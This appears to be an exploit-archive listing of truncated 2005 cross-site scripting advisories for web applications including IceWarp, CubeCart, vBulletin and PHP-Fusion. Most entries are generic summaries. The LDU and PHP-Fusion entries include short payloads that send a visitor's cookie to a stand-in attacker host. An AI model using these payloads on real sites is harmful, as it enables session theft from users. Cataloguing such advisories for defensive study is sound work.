IceWarp Web Mail 5.5.1 - blank.html?id Cross-Site Scripting

IceWarp Web Mail 5.5.1 - blank.html?id Cross-Site Scripting source: https://www.securityfocus.com/bid/14980/info IceWarp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may levera...

IceWarp Web Mail 5.5.1 - 'calendar_d.html?createdataCX' Cross-Site Scripting

source: https://www.securityfocus.com/bid/14980/info IceWarp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code executed in th...

CubeCart 3.0.3 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/14962/info CubeCart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage any of these issues to have arbitrary script code execut...

CubeCart 3.0.3 - 'cart.php?redir' Cross-Site Scripting

source: https://www.securityfocus.com/bid/14962/info CubeCart is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage any of these issues to have arbitrary script code execut...

LucidCMS 2.0 - 'index.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/14951/info lucidCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of ...

LucidCMS 2.0 - index.php Cross-Site Scripting

LucidCMS 2.0 - index.php Cross-Site Scripting source: https://www.securityfocus.com/bid/14951/info lucidCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have...

CMS Made Simple 0.10 - index.php Cross-Site Scripting

CMS Made Simple 0.10 - index.php Cross-Site Scripting source: https://www.securityfocus.com/bid/14937/info CMS Made Simple is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this...

cmsXSS.txt

Description: CMS lets you update your pages and keep the content on a static page that will not become stale regardless of how much other content gets placed on your site version:CMS Made Simple 0.10 vendor:http://www.cmsmadesimple.org Vulnerability: cross site script exploit:...

PHPMyFAQ 1.5.1 - Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/14928/info PHPMyFAQ is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code executed in t...

vBulletin 1.0.1 lite2.x3.0 - admincpindex.php Multiple Cross-Site Scripting Vulnerabilities

vBulletin 1.0.1 lite2.x3.0 - admincpindex.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/14874/info vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize...

vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/template.php' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/14874/info vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage any of these issues to have arbitrary script code...

vBulletin 1.0.1 lite2.x3.0 - admincplanguage.php?goto Cross-Site Scripting

vBulletin 1.0.1 lite2.x3.0 - admincplanguage.php?goto Cross-Site Scripting source: https://www.securityfocus.com/bid/14874/info vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An...

vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/css.php?group' Cross-Site Scripting

source: https://www.securityfocus.com/bid/14874/info vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage any of these issues to have arbitrary script code...

Content2Web 1.0.1 - Multiple Input Validation Vulnerabilities

source: https://www.securityfocus.com/bid/14862/info Content2Web is affected by multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this lack of sanitization to perform SQL injection...

MAXdev MD-Pro 1.0.73 - Multiple Cross-Site Scripting Vulnerabilities

MAXdev MD-Pro 1.0.73 - Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/14751/info MAXdev MD-Pro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An...

MyBulletinBoard 1.0 Forumdisplay.PHP Cross-Site Scripting Vulnerability

MyBulletinBoard 1.0 Forumdisplay.PHP Cross-Site Scripting Vulnerability. Webapps exploit for php platform source: http://www.securityfocus.com/bid/14754/info MyBulletinBoard is prone to a cross-site scripting vulnerability. This is due to a lack of proper sanitization of user-supplied input to th...

lduXSS2.txt

Bug finder:spyMASter Web site:Realhackers.net Contact:[email protected] LDU has some xss vulns Firstly you can use html codes in your signature you can get cookies with this put your signature that code location.href='http://site.com/log/ekle.php?c='+escapedocument. cookie and post a topic...

phpfusionXSS2.txt

Hello we haved found a vulnerability in PHP-Fusion =v6.00.107 which allows us to steal cookies. The exploit works because of badly coded bbcode. Well here is the exploit. URL=http://aaaaaa.com/URurl=aa.com&& OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie;...

FlatNuke 2.5.6 - 'USR' Cross-Site Scripting

source: https://www.securityfocus.com/bid/14704/info FlatNuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code executed in the browser of ...

PHP-Fusion 4.05.06.0 - BBCode URL Tag Script Injection

PHP-Fusion 4.05.06.0 - BBCode URL Tag Script Injection source: https://www.securityfocus.com/bid/14688/info PHP-Fusion is prone to a script injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to...